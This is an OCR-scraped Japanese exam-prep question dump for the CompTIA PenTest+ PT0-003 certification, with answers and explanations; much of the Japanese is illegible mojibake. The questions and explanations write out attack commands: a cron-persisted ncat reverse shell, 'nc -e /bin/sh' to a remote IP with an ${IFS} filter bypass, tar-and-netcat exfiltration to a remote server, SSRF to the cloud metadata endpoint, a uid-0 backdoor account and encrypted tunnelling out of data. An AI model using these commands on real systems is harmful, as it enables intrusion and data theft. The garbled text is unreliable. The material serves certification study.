*ZDFEREIDLLNA DY v RETT,

EFuﬁ: 53
BRI —XTIE BATAZ—HDNS La—Fh L RDEHREWRELE LT,

TXT --> vpn.comptia.org
SPF--->ip =2.2.2.2
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RT=T AT FAA VEMEFERALEZT7 4 v POV RBZRBT B2, ROED DNS L
OA—FZRETHILENHY FIHV?
A. MX
SOA
B. DMARC
C. CNAME
IEfE: (EfEERTLET)
DMARC Domain-based Message Authentication, Reporting & Conformance) (& A —JL D% Y &
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A. crontab -I; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
B.wmic RA— 7y 7 X¥TLav0mMB . avUR

C. sudo useradd -ou 0 -g 0 user

D. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
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Which of the following elements in a lock should be aligned to a specific level to allow the key
cylinder to turn?

A. Latches

B. Pins

C. Shackle

D. Plug

IEfE: (EfEZRTLET)

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a
detailed breakdown:

* Components of a Pin Tumbler Lock:

* Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these
pins.

* Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

* Springs: These apply pressure to the driver pins.

* Plug: This is the part of the lock that the key is inserted into and turns when the correct key is
used.

* Cylinder: The housing for the plug and the pins.

* Operation:

* When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the
shear line (the gap between the plug and the cylinder).

* The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

* The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If
any pin is not correctly aligned, the lock will not open.

* lllustration in Lock Picking:

* Lock picking involves manipulating the pins so they align at the shear line without the key. This
demonstrates the critical role of pins in the functioning of the lock.
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Server High-Severity Vulnerabilities
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D. wget 10.10.51.50:9891/exploit
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2% https://www.redhat.com/sysadmin/simple-http-server
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Which of the following describes the process of determining why a vulnerability scanner is not
providing results?

A. Root cause analysis

B. Secure distribution

C. Peer review

D. Goal reprioritization

EfE:A(QAVREHEKRT D)

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the
context of a vulnerability scanner not providing results, performing a root cause analysis would
help determine why the scanner is failing to deliver the expected output. Here's why option A is
correct:

Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a
problem. It involves investigating various potential causes and pinpointing the exact issue that is
preventing the vulnerability scanner from working correctly.

Secure Distribution: This refers to the secure delivery and distribution of software or updates,
which is not relevant to troubleshooting a vulnerability scanner.

Peer Review: This involves evaluating work by others in the same field to ensure quality and
accuracy, but it is not directly related to identifying why a tool is malfunctioning.

Goal Reprioritization: This involves changing the priorities of goals within a project, which does
not address the technical issue of the scanner not working.

Reference from Pentest:

Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools
and their configurations to ensure they work correctly.

Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain
security tools may fail during an assessment.
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[CREENTUOELMES NFSIERBE T 7 A LOT ALY FUADFRET Y R _NFSH—EZR

RNDHTE I AOKMEBEEFEALERFELTE HRLAEKHEICH L THBICHSATREELAHY F
T, ZD=H NFSIZHEBEEIZE > THRIFOENELZY ET,
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B 71

FHMERIC. BATRE—IEL AL —WindowsT L UMSNTLMAY S 2 ZBELET . BATR
A—IE REEMHET IO UTOEDY—ILEFRATRETLLIN?

A. R{E

B.EFZ

C.73vy RNk

D. 95y TITTEI T4

R (ERERELET)

BATRAE—HHEFED Windows T Ui NTLM /Ay L2 ZBET 388 . CD/Ny 1 %7
FALTNHRRYNY VA RBLEDELLEIZRBEETLEEY Ny az@BEL-YTEEY—
LWEFERTOIDENHYET,

B 72

BATAFRIZ FIBESNfz-2—H—A 3 —Tx—REEDIDVATALIZZYEALET , 2D
YOV R—PREFYUDORRELGH>TVWSREE SN Y bT—DIZT7 IV ERTESDLST
v,

BizES

A—F AV REPHLT . R—F RFXY D R YT ERTITZEOITRELREI 3 Y
EHRELET,

BUHERZELWVMERICKS VI LTRI Y TR EERSEET,

WDTHEYIAL—Y a3 VOPHREICELEZWMESF, BRTYEY MAREVEI UYL
TLEEEY,
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Explanation:
AVEA—3DRYYY—ray b RAFBSMICERShELS:



O Immutables

) ;i!fusrfh;.ffytﬁan

aOYvEa—4% DRy Y)—r3vh RAAFBEEMICAERESNELS:

1mport cKet

Lmport

ports = [21,22]

BN CHEAEBER SN0 Ea—Y —EE



‘for port in poris:
Ery:
s.connect ((ip, port))
print (“%s:%s - OPEN" % (ip, port))

except socket.timeout
print (“%s:%s - TIMEOUT” % (ip, port))

except socket.error as e:
print (“%$s:%s - CLOSED” % (ip, port))

finally
s.close ()

FLOCBOEEICAVXFOHRENEBMIZERIND

port scan(sys.argv(l], ports)

B: 73

HEIARABICEVWT BATRI—ILBEEDREEARICHBET IV OHIDIESHEHEERRELEL
f=, TOMEBHEICIEFUTNEENRTEL:,

SHDZELY ELFHVNNRT— REE

BHOIVRRA X2 )TAVITENIZTHA VR P—=ILENTWVEWD R T L
NYFEBVRTLIZE>TEHFINGL 2EARL—TFT A VI VRAT A

BAMGEBEICHLT 501, BATRAEI—IEROEDHRERELZRET IHLELHY FIH?
ATRTOVATLEZHRBUETEATLIZEMLET,



B.iERBEIVATLERELET,

CIVFRAVIMREBLIUBEBEIVRATLERRALET,

D.BWARL—T 4 VJ SRTFLIZNYFEZBERALET,

FfE:B(OA* U hEHKT D)

BEIN-5A:

SHOEELY LT VNRRAT—FRE: VATLBTNRRAT—KRK RY S—[Z—BEUNGTNI L%
~LET,

SHOIVKRRAV b EF2)TA VI DITHRA VR M=ILENTWHEWS AT A %2
D74 VI T7ORAIC—EEINGENI LEEZRLTVET,
NYFEBUVRTALIZEDTEHFEINBEWARL—TFT 4 VT DRATLNYFEBETOELAD
FryITEERHLET,

BREES AT LA

EHE BREEVATLAF HBROIRTOUVRATLICOESEBROER R . SV ERE
B LET,

EHERLET,

f5: Ansible  Puppet, Chef I EDY—ILIX HBROBEIL L ERBIZRL S MHBOBE~DENSE
REELET,

ZTDMOHEREIE:

MEBEMEBERTLA: COVATLIZVRATLEZEMY 5 EMBEDEMICERILEET A BHO
A—HOBRAMEBERRICENLTETELA,

I RKRA Y MEES S UXIG (EDR): BEORE EAICIETRILEFETN, —ELI-ERDE
RIZIFRIBELEA,

NYFEE: DRTLONY FERIIFEDOMBEICHLLETH, &K YLEHGHEKEEDOREL
fRRLEEA,

RUTRAINDSEEH:

DRATLEBEIE: TRTODVRTLREF2) T4 R—XATAVEBRICENL TS L MR
L. REXMREHEZHO LET,

X1 T4 DEEL BREBY—ILEFFERALTCEX2) T4 BTEEEEL 2V TS4T7 Y
AREBERLTFHCLDIIS—ZHIBLET,

BREEVATLZEETHE BESART—ELEEX2YTAREBR. VI Y 7ORER,
Ny FEBEIERIN BARAMGHEICHOLTEET,

B 74

RESNATVWEWLWRY FT—O 774N )RS EIVIZEVWT BATREI—FEXDI—H—%
ENRRD)—REELCTFRAIMI7Z7AILE SONDREEDKSE KB, VITILEESZELT—4
EFEOQCRTLYRO—ERRLFELEE, TRE—FX THFRAFIZ7AILAD—ZD/RRAT—F
M<BREL N TILEES>EVWSHEAICHE - TWS I EIZRfMAEFEL, CORBREIDNTTR
B—MNRIZWEIREREDITHEIRDSBEENTLLIN?

ATRTODVARATLET TV — a3V TRRAT—ROERSDIL—IILEEBRIT I L5258
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HLET,
B.RESNTLWEWLWIFAIL YR MY ERBATA L LIR—FOBREKERELTXEEELE

v,

C./\RTJ—RZEZLIZRFETBICIE,. TFR L 774 LTIEEL/INRT— REE/R—)L b &&E
RT3 5ZLzB8HLET,

D./XART—K RTL—FTAIMDEBELT AREBLNRRT—K T4 3+ EERLE
ER

EfE:B(OAV FEHKT D)

BR: 75

BATRAMIBENT BATRA MELUEIWPAEESILZFAT AWi-Firy hIT—H DX—%#
ST AVLEAHYET, COBMEERTETIREIIRDSEENTTM?

A FayvIFav?d

B.)7JLA

C. MEHERY b L

D.V3v%

IEf#: (EfEERTLET)

WPA2 ISt ZFEHAT 5 Wi-Fi v hT—9 D F—ZMBixT 5I1Z1E BAT A2 —IL KRACK
(F—BA A IILHB)REZFRATOILELNHYFET,

*KRACK &§—B 4 VA F—ILRE):

*EZE: KRACK [ WPA2 70 O LDIfEHEHETHY HEENEELND KR40 Ayvt—
CEBRERLIUBET S LET/NYY FEBBIEL Wi-FiRxy bID—2IZHEHAT Ha8EMELH
YET,

*EHE CORBIIWPA2 NV RV IAY TOERDORMGEZERAL KREEHNBSILEMEITL

Y NIT—=DIZTOERTEDESICHYET,

* ZDhDRE:

* ChopChop: WPA2 Tl¥# < WEP St &K ELET,

YT Ty bEXFYTFYLTY)TILAL, bSO a3 vDEELEDHREEAT
LET,WPA2 BEBLIFfERSNFEEA,

*EIEAR S RIL (IV): WPA2 TlE# < WEP DOMESEHEICREELET,

RUTRALDSEES:

*JANYLR X2 T4:WPA2 L ED Wi-Fi S 70 FaLDESEMEEFDERAEIZD
WCHERELET,

*KRACK H2: WPA2 DEXGEHEMETHY BERTHICIEEFINLEHHHABLETT,

KRACK B #FHAT S L BATRAE—IE WPA2 BEBLEHKY Wi-Fi &y FID—2IZFIEIZT
DERTEDELSICHYFET,

T+ —LDLEER

T+ —LDTE
Eﬁ:ﬁ: 76

A penetration tester needs to test a very large number of URLs for public access. Given the
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following code snippet:

1 import requests

2 import pathlib

4 for url in pathlib.Path("urls.txt").read_text().split("\n"):

5 response = requests.get(url)

6 if response.status == 401:

7 print("URL accessible")

Which of the following changes is required?

A. The condition on line 6

B. The method on line 5

C. The import on line 1

D. The delimiter in line 3

Ef#: (EfEZRTLET)

Script Analysis:

Line 1: import requests - Imports the requests library to handle HTTP requests.

Line 2: import pathlib - Imports the pathlib library to handle file paths.

Line 4: for url in pathlib.Path("urls.txt").read_text().split("\n"): - Reads the urls.txt file, splits its
contents by newline, and iterates over each URL.

Line 5: response = requests.get(url) - Sends a GET request to the URL and stores the response.
Line 6: if response.status == 401: - Checks if the response status code is 401 (Unauthorized).
Line 7: print("URL accessible") - Prints a message indicating the URL is accessible.

Error Identification:

The condition if response.status == 401: is incorrect for determining if a URL is publicly
accessible. A 401 status code indicates that the resource requires authentication.

Correct Condition:

The correct condition should check for a 200 status code, which indicates that the request was
successful and the resource is accessible.

Corrected Script:

Replace if response.status == 401: with if response.status_code == 200: to correctly identify
publicly accessible URLSs.

BEHITEPT0-003f REE (L JPNTest.comizft St PT0-003:RER(CEHKT S &ITRICILBF
9 ! JPNTest.comld 5 &#TPT0-0035XERFEIRESR #1244t L £ 9, JPNTest.com PT0-0037{ B [ =8
KELI5FHESNFEFLS-, CZTPTO-003EEDTRA IV VEFITANE T, &FTHRD
7 2t X _ https://www.jpntest.com/shiken/PT0-003-mondaishu 802f§, 3 0%r 4« R h >

k. 4RI7%EI5|a— F: JPNshiken|

ﬁﬁﬁ:ﬁ: 77
BATARMIBEVWT BATR MELAEIIWPA2EES L EFAT AWi-Firy hT—9 DX —%f#E
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ST AMLENAHYET, COBMEERTETIREIIRDSEENTTM?
AFavIFavT

B.J7LA

C. IEERY b L

D.75v%

Ff2:D (A FERKT D)

KRACK (¥—BA VR b—ILKE) (X WPA2 7O O LOMRHEMEEZER L T/Ary FEESE
LTHAL HEENIEBILXF—ZMHELTCWI-Fi Ry FD—Y(27 9 RTESLEKSI124H 5T
BEMELAHY FT,

ATV TINA ATy TDERA

KRACK #Hfi29 %:

MEgs1E: KRACK (E WPA2 NY R x4 9 TO+vRX _BHERMIZIT4 94 NV RS IA4IDR
fexEBERALET,

ANZRXL: CORBIE NV RV A AvtE—CEBRELTHEETSET HEEBZHRLT
BRIICERASNh TS F—ZBA VA M—ILEEET,

WEFE:

EZ:OSATUONETIERARLAIEDADA N RV A9 Ny bEXFFTFHL
FY9,

BAVAR—ILBEDNY R IAY AyE—CEBELT V95472 MIBS{EX—%i8
FIIZEA VR —ILLET,

BBt F—ZBA AT HE TNEFERALTN Y FE2ESIEL BEDHS/N\ 7Y b
AT LHAREENHY FT,

AN b+

Bt WBENNN 7y FZ2ESE LT BEEREZLAMAT HAIEELAHY £,
Ao a3 RBENBEDHA/\TY bERY FIT—VICHEATZESLSICLET,
&0 -

INYFER: TRTOTNNARETIER RAL 2 M2 _KRACK DSEHICHNT 2RFTD T 7 —
Lz T7HNERINTWSZ EE#HELET,

EEb B DT — 2 ERET H=HIZ_HTTPS L EDEMDEEIE LA Y—Z2FEALET,
BATA XM DSHE:

KRACKME(X T4 VLR X2 UT A BLVRATAE A4 FOEELZFEY I THY 7
AVLRABEDELX21) T REDEEMZTRLTLET,

HTB OREFELZDMDO X2 T 4 FHETIE, WPA2 DIESEHEIC DT ERT 2FFIZ KRACK AY
BEIZSEIhTWET,

S .

BATRbE-NYyFXTDEERAM

HTBAXK LAR—

BR: 78

BATRAI—FEHLGODTT7 T ) r—2 a3 %5l L BERICHFEEL TV -AIEEOH LI T
FAA VERRTDHIETRBEMNGEF L) T4 LOBHMEZRABELI-VWEEATLET , RA
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TAE—FRDEDY— IV EFERITANETLLIN?

A. Censys.io

B. #1E%

C.OTANYIITIY

D. R/I\4 F—=T vy k

EfR: (ERERELET)

Wayback Machineld, 7 = TR—CEBRINTT—hA4 TT542054 0 Y—ILTY, 1—H—
X Dz THA P BEDBKRRALGERTEDELIITRRINTVEAEZHRTEET, Il B
EICHEEL TV ABEEDOHEIT T FAAN UV ERETHI LT BEMGEX2) T4 LD/
HERAELEFWVBATRE—IZESTIERIZRIBET,

AT TINARAT v TDERHA

Wayback Machine [C7 9 £ X3 5:

Wayback Machine @ Web H 4 k (archive.org/web) ICT7 22X LZE T,

FERLIZLEER Web B/ FOURLZAALET,

T—hA4 TEnk=R=CDFrESF— 3.

Wayback Machine (& FFEIOFBE L HICHRFESINEZIESEFGERF YT ay F2BET ST
ODFAALZAVENLUEI— AV A—T A RERBLFET,

A>Ty Toay hEBRTEE T—hA4TEhtzVA FON—=D 3 URRTEINET BED
N—=2320DDxTHA FTIEFATELGEL B> TWSAEEEOHZ VD HTEALD 1)
Y—REFELTLES,

YT RAL 2 OHEA:
F—hA4TENE=R=DT VY R )T FEEEBEOHRAAD DT UOYVIZRTSINDATREME
NHZHGTRAL ADSHBERARET,

INESN-BEREFERALT BENLGIVN) R4V MO FEERINSAIEEOH ST L
N—=232DWeb 7TV r—2 30 EHELET,

Y — LR E:

Burp Suite 4> SpiderFoot % £ MY — )L Wayback Machine EfEALT. 7—HhHA TEntf=47
FAAL DR Y—RAOBHETALAEZEHHELTEET,

ERR DA

BATRLRIZ TRE—DHERIZT—hH A T ENi=R— T oldadmin.targetsite.com ~NDS
BEXRTLHENHYET, COY T RFAAL VIEIDNSIZEEF SN TULVELAEEENAH Y T
M. T ERAEGHKREDETFETHY BEMLGEFX L) TARBEICOLENDATEEELHY F
v,

BATA MX#EMN DL DSHE:

SEIFELBATR L 4 FH HTB MEEE Tl Wayback Machine D FIEZ IR A {EED—
BRMGEFETHY BEIVTIFRAMEREL  FEEASILITHEOHIBEDERETHLS

MmZLZET,
S .

HTBAX LAR— K
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B 79
BATRAZ—IE Active Directory—/\—DFRIIBEHRA X v U ERITTH-HDIEHEEEY
J)a1—YaVvERELTVWET , TRE—E RFX v F—ICEOBEDTHY Y FEIRIET 20
ENHYFETMN?
A.)L—F
B. FAA UEEE
C.5A#mMYUER
D. O—Ah/)LaA—H—
Efg: (EEETLET)
Active Directory (AD) H—/\—TCERIHERICE DK RF v U ERTTBICIE, AT LER, /8ty
FLRIL A—F—ERZIBTE5L-ODEELT I RIERNBETT, FAM VEBETH
DURE, FALDD) YV —REERETLICARIEL T2 LGHRBEFEICRIRGKEZR
-LET,
CompTIA PenTest+ PT0-003 B4E - KA A > 2.0: {EHRINE L HESEMEDIFE:

BARF Y UTIE VIR ZT7ON—23 0 FRLTWANYTF X T4 REICEAT
BEMIEREIRGLT 20 HEVRATLIZHT 2EBELALOT I EANRETT, |

BH: 80

BATRA—X VTV FREBII VAV RF VR ETEFTIATWS D I7 T r—ay
ERRELELE BBERAXY UV O#R RALT7 77— 3 VOURLARIZHEATRREL /NS
A—ENEEN BEMLESSRF €X 1) T BE)VDNBFEETAENREINELE, TRE—
T BB REROREEERASINSAEEEZTA TSI UTRATY RDS>5 ENEET
TEOLENHYFIM?

A. curl <url>?param=http://169.254.169.254/latest/meta-data/

B. curl '<url>?param=http://127.0.0.1/etc/passwd'

C. curl '<url>?param=<script>alert(1)<script>/"

D. curl <url>?param=http://127.0.0.1/

IEf#: (EfEZRTLET)

927 RRIETIE, Y—\—fl) Y TX MaE (SSRF) DfEBHEZEZTA I HICE A2 T—4
Y—ERANDT IV ERERATTIRENHYET,

D2 KART—3 BY—EX~ADT7 I A:

URL: http://169.254.169.254/latest/meta-data/ (X 4 Y RA VA A A T—RIZT IR 5=
DI Z7FREAWS B E) DL <HbNI=TY FRA > T,

B#):SSRF ZEHALTIDURLIZTIVERTEHILITKY KEFBEA VA E D RDERIER
PEZDOMD AR T—REEDERRREDMBETEET,

Eﬁ:ﬁ: 81
X2 F 4 FHERIC BATF RS —BREY——2F I £R L T OFEEBT 12T —

AHERIELET BATREI—DETLIET7IVTAETA BT -HORBELEAEIIRDS B E
nNTIm?
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A.Windows 1 Rk OJ %9 1J7LET,

B. VATLBRNZERELFET,

C.OJMDERZEELET,

D. O REHHREZROLET,

FfE:A (A FEERT D)

AR AT EHEETHILET, TREI—DFHORMEMNRNMICHIRTEZ SO, VRATLE
BENEDESIBTILaVEETLIENERETHIEARBICHYET, VATLEHZIDOE
B OJHERBOZEE O/ RFHROREEOEBEEIZLKY 7V T1ET4DOTREERER
FHIFHBETEZAAEEENDY FTTHN, CASEEENLGZEDTIELGL  VATLEEEICKD
BRENBEHTYT,

B 82
TARAA—ETFATOA—IRY—ZFEL TP A MO RBLET—3Z2XT—
DU LTHEBETARENHBYET UTOI7AT704+—ILKR)—FBELET,
7932 |SRC

| & —k

| --

70vw% 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP

£%7T | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP

571l | 192.168.10.0/24 : 1-65535| 0.0.0.0/0:443 | TCP

Javy|.].|*

TRA—ERIZEDAT Y FERITBENHY FTH?

A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <!) E— b H—/\—> 443 < /tmp/data.tar.gz
B. gzip /path/to/data && cp data.gz <!) €— kP —/\—> 443

C. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <!) E— pH—/\—> 22

D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <) €— b H—/\—>

IEfR: (EffZzRTLET)

T7AT7 04— ILR) O—I[CEDVWT R#EShFzaT U FERHL FaShfzry bT—5
S 249N LTCT— 2 Z2EABETOICELIZOT U FERELELELS , 774704 —
IWRY O—DIIL—ILIFRDEEY TT,

*JAwY:R— bk 22 (TCP) M 192.168.10.0/24 /5 10.0.0.0/24 ~DTRTD S 71499,

* el 7R— bk 443 (TCP) M 192.168.10.0/24 ~DFRTDH 3 7 « v % (0.0.0.0/0),

* 5 A 192.168.10.0/24 N 57 R— b+ 443 (TCP) LOEEDIBA~AD LS T4 v,

*TAYY. ZO/MIRTDRS T4 99 (),

73 ORR:

*#4 7 3 > A tar -zevf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443

< /tmp/data.tar.gz
*ZDAT Y RIET—2 % tar.gz 77 A JLICIEHE L  nc (netcat) ZEAL THR— b~ 443 LD

E—kH—N—IZEELET,
* TP AT 94— ILIER— +443 TRy FRSNDOEH) TOEFEEHFTL TS =60,


https://www.jpnshiken.com/q/66930-6183767/
https://www.jpnshiken.com/q/66930-6183768/

192.168.10.0/24 MIFE . CNDAX Y FIER) O—IZEHLTHY  EELIVERTYT,

* 4 7 3 > B: gzip /path/to/data && cp data.gz <remote_server> 443

*ZOAR Y RIET—A2ZEHLEIN H—N—CEEIEF—LELSELFET, CAIFEDLED
TURTEHBYFERA cpaIURE D& GRY FT—VBEEZYR—FLTULELRA,
*# 7 3 > C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22
*CDAT U RIER—F 443 TYUYRVYL R— bk 28BBTT—2ZEELLSELET, 1L
L.AR—F 2 ADREEEREIT7AT7I+r—ILIZK2TITIAYIESNDI=H ZDaAT Y FITE
MIZEYERT,

* #4 7 3 > D: tar -zevf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
*ZMAaAT Y RldscpZFERLTI 7ML EIE—LET, scpldi@E  SSHIZAKR— F22%FALE
9, 7747@#—»7&*‘7&’— k2270w  LTWAz 0T FIIHEELELA,

* Gobox HTB :GoboxODEEE'C‘(;K WYL HEELEHFAINE=Y—ERZFALE-ERBEENEDE
BN IATOET BRI AT a VADFAERERMRIZ nch EDY—ILEFARALT

oSNz R— MEBRTT— 2 Z8ET 5 ENEITONFET,

*Forge HTB: CODEETIE, Z7A4 70 A—IL JIL—ILDEfEE curl O nc L ED@EYHLa<T U K
DFERZERLEND HFaShkR—rETORINENLTT—2Z2METEETIFA

To+—ILOFIREZNETLHAELHRALET,

*IKFEHTB: T—2DHRBICHAI SN —ERER—+2FHATEIEOEENRZARFALET,
T3V ATERRASATWS 7 Ja—FIE HFaShfzR— b TncAMERSINDE N S5DE

BT VATHEASNSGFELE—BMLTLET,

Eﬁ:ﬁ: 83

BATRARI—MN RT—VU5EHBBHLOEOHDT—2E#HRALELIZ. 95347 ME TR
B—DRBERRA CADBEDHZHALTLVET ,SOCANDEEZEEHT H=HIC LULTDS>H
RbLEUGLDIEENTTMN?

A. T—RICUTF-8 #@AL, FoRILZEHTTCP R— bk 25 ITEELET,

B. 7—#%IZ Baseb4 Z®AL, FURIILEFEHTTCP R— k80 ITEELET,
C.7T—%IZ3DES Z#EAL, boRJLUDP R— b 53 BHTEELET,

D. T—4XIZ AES-256 #@R L, FRILIZFEHTTCP R— b 443 ITEELET,

IFfE: (EfgE R LET)

AES-256 256« k##mAdvanced Encryption Standard) [&, T—42 Dt x a1 74 REIZLLE
BAEhTWARMESE7ILTY XLTT HTITPST—RMIZERA SN STCPR— M43 2B T
T—AEEIETHE BEDREHEWeb b S T4 v I EREDD Iy FIT—VERIRTLA
[CEABHEZRBETEET,

* AES-256I £ 5T —2 DEES1L:
RELGEF—EMEERT ML (V) ZFEHA LT AES-256 7ILT Y XALTT—R24BEELLE

9,
*OpenSSL #FRAL=-FES{ta~< > FOH:
AT TiNA4 AT v TDERBopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k
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secretkey

*FEH M URILDERTE:

*OpenSSH L EDY—ILEFEALT TCP R— F 443 BHATRELG U RILEERLET,
*hPURILERET ST FOA:

ssh-L 443: 2 —4y b —/\—:1443 2 —H—@F KRR

*RURIIVEN LT —RERE

*Netcat 2 SCP L EDY—ILEZFERAL T BEIEEINT 22 FORILBHTEELET,
* T—A2 %&EIET HNetcata v > FDHI:

cat BE&1k.bin | nc 2 —% v bH—/\— 443

*tXxa )T 4: AES-256 (TR NGBS ILZRMT 50  HBENX—LLTT—22ESILT
5 LISHETY,

*RATILR:IR— M43 BATT—REEETHE BEDOHTTIPS b3 74 vV D&IIZRZD
O X1 TFAERVATALICE BB ZERTEET,

* EEDH:

*BATRAICEK TREI—ET7S5—rE M) H—F B KBTI FIREETREND
YET, T—F #AES-256 THEEIL L, b U RILBH TTCPAR— F43I2EET B ET T—4
DIHREHLITBEDREHEWeb FS T4 v I IZHNIAHET,
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Nothing in the snippet indicates that, and file mode on home dirs doesn't grant sudo.

* C. Hijacking default login shells: DSHELL=/bin/zsh only sets the default shell for new users.
Replacing

/bin/zsh or altering /etc/passwd would require root.

* D. Corrupting the skeleton configuration: SKEL=/etc/systemd-conf/temp-skeleton is

under /etc/..., which is root-owned on standard systems. A normal user cannot write there, so
"corrupting the skeleton" is unlikely without privilege escalation.

Practical exploitation as a non-privileged user (illustrative):

# Find world-writable homes

find /home -maxdepth 1 -type d -perm -0002 -Is

# Read another user's files

cd /home/targetuser && Is -la && cat Documents/tax_return.pdf

(Depending on per-file permissions.)

CompTIA PenTest+ PT0-003 Objective Mapping (for study):

* Domain 3.0 Attacks and Exploits

* 3.1 Exploit system vulnerabilities and misconfigurations (e.g., insecure file permissions leading
to data exposure/privilege abuse).
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General | Detais | Certification Path |
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Generate a Certificate Signing Request

SubmitCSRtothe C

l:“l Certificate Information

This certificate is intended for the following purpose(s):
* Ensures the identity of a remote computer

= Refer to the certification authority's statement for details.
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Issued by: RapidSSL SHA256 CA
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This certificate is intended for the following purpose(s): Generate a Cerfificate Signing Request
« Ensures the identity of a remote computer
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= Refer to the certification authority's statement for details.
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valid from 7/18/2016 to 7/19/2018

Step 2

[Install Certificate. .| | Tssuer Statement |
Learn more about certificates

Submit CSR to the CA

!

Step 3

Install re-issued certificate on the server

Step 4

Remove certificate from server

AXIHEPT0-003fRESE [XJPNTest.comizt S 41, PT0-0035XERICEH8 I H L ICRICILBF
9 ! JPNTest.com(E 4 &x#TPT0-0035XERFEIRESE #1244t L =9, JPNTest.com PT0-0035: B& [ eE
KFL5EHEINFELZ, CCTPTOO003MERDTA IV VEFIZANE T, JRITRD
7 9t X _https://www.jpntest.com/shiken/PT0-003-mondaishu 802ff,. 3 0% 4« R h ™ >

k. 4RI EISIo— F: JPNshiken|

Eﬁ:ﬂ: 92

BATARA—[F a4z HarOoy YR r2EELTY E— Fa— FETOM
BHEEZERALISELTVET, TREA—[FXROaAT Y FEFERALET,

nc -e /bin/sh 10.10.10.16 4444

T4 T EINIZAR—ZAXFEZNA/IRRTHAEREDTLDIERD ENTT H?

A. ${IFS}

B. %0a

C.+*

D. %20


https://www.jpntest.com/shiken/PT0-003-mondaishu

Eff:A (DA LEHERT D)

AR—ZAXFEBRNT DA R AM002023Y TSI URMERBTBHIZIE, TREI—IE
HIFS} #FEATEET HIFS} F Unix RV RTLDRE T« —IL FREYIYXFEEZRL TI4I/L
FTIERR—R 2T BIAOXFITRESNTVET,

av R4y

AR R AP a3 VDB EICKY REFIRBLET TV r—2 3 ENLTHRR M F
RU—F AV VRAFLETREENDAR YV REEATEEESIZHYET,
AR—ZABGEDBENDXFEEZLT LI LETERZHSEDIZ, Z403—0TO YT JR N
FEINBZIENKLCHYET,

T4 LA —DINAINK:

${IFS): AR—ZXDEHYIZHIFS} ZFEATHE AR—XZETAVITET4ILA—F/N( I\
ATEFET . HFSHIE vzl a9 FTHAR—ZAXFIZEBEHENET,

f5l: A< > K nc -e /bin/sh 10.10.10.16 4444 (% nc${IFS}-e${IFS}/bin/sh${IFS} L E=HZ 5 Z &
MTEFET,

10.10.10.16${IFS}4444

RET V-T2

%0a: URL T>a—KRIZEITAHITXFEERLET,

+ URL ADAR—ZDRDYICFEREINDIZENHYET,

%20: AR—AM URL Tra—FK,

fEL. Yz av Y FOaVTHFARMILHFS} AZREBELTNVET,

RUTRAMDSEEH:

ARV R APz o3 av v R Aoz avntiiads ThEERT 5 —BRALF
EEERELET,

TAINWE—DNANR: BRIEERDILRGE EDRIENLGHEEFERLTAAT A IILE—F /(N
AL AU REETLET,

VINRVUT M MBMLBIIORTAA MK, DL RV )T ERBERICEAT 20N
FARTY,

HIFS} ZFERTAHET, TRI—(ETANA) VT EINZAR—ZAXFEZNAINXL EEL
fza<w U F&EFETL MHEOEBERATREEEILETEET,

B 93

A3 —3y MIEEERINT loT 7/ RCEET S —BRULZHESHEEEROENTT
mn?

A T4 MR T—FOEHE

B. Y R— SN TWEWARL—TFT 42T VRTLA

C. *y b T—VEHEAA

D. DDoSKE (= xt 3 5551

IEf#: (EfEZxRTLET)

EFuﬁ: 94


https://www.jpnshiken.com/q/66930-6183778/
https://www.jpnshiken.com/q/66930-6183779/

FAERIC RBATRAZI—FIT7MILRICROXFID) A ERERLELT:,

3af068faaBl326ffe6cadBe2ab36a77%
48ec2f4£526303a%ded67938et6cellct
9453bf035c534197d9810a5e65a10632
C847bd4aZ2eT7oeclfScbbbe30d2046d5e8
ed225542767a810e6fceebf640164b140
_cfbeifdd&éﬁbﬂcScBadecSé?f2?2ef4
c05¢cbc5a6%becc91£56a7e0a6c391ad79
See3564cbflS5421ebabcd43dcb67%4%ad
5azad0bcb%02e20cd4efcf057b01050be
4865a2ed25edl1B8515b7e97beb2bd4 0346
b0236938a6518fc65b72159687e3a27b
9¢c9e354712595ef2ffo6075496d3a464
a5ab3f6c6159b8520%eal0cl186531a49f
9b38816e791£1400245f4c629a503bc8
dl2e624a20d54fd3b34b8S%ee7169df17

XEHDEMDEXERET H-ODREDFEITRD ENTI M?
AJLTUVNILARE Y D4 VT RE

B. FEHRE

C.LA Y iR—T—TILTEYY

D. J/L— bk 7+ —RKE

EfE: (EERTELET)

B 95

RESNTVWVEVLWY—RO—F URDMJIZRESNATWE I 7MILT RBATRAEZ—[FRD
O—FTERRLET,

sshpass -p Z&E L %L\ ssh admin@192.168.6.14

CHDBMEEFRT HE=HIC, TREI—ERICENEETITLILELHY FIH? (2 DFEIRLTL
=&,

A Nmap #FRALT Ry MI—OLTT7IT4THIRTOSSH DRATLEHANLET,

B. F¥a AV MEDBMT V=R A=K URSMIDRY )= FvTFrERELET,
C.a—F URDMNIRIZEORAENTZIRT—FEZELMD T 7AILDBHEINE SN EREL
FY,

D.ICMP 7O—J%#{EL T HY—/\—192.168.6.14 BNFEBL TLENESI M EHEELFET,
E. §R_RT® SSH H—/\—[Zx LT Hydra AL T/HART—F RTL—KBEZETLET,
F. Metasploit DA IT I/ X TOA bZEFAL T, KX+ 192.168.6.14 #RELF T,

IEf#: (EfEERTLET)
BATAA—HDREINTOVEVNWY—R O—F URSKIJRD T 7AILICN—Fa—FEhi:
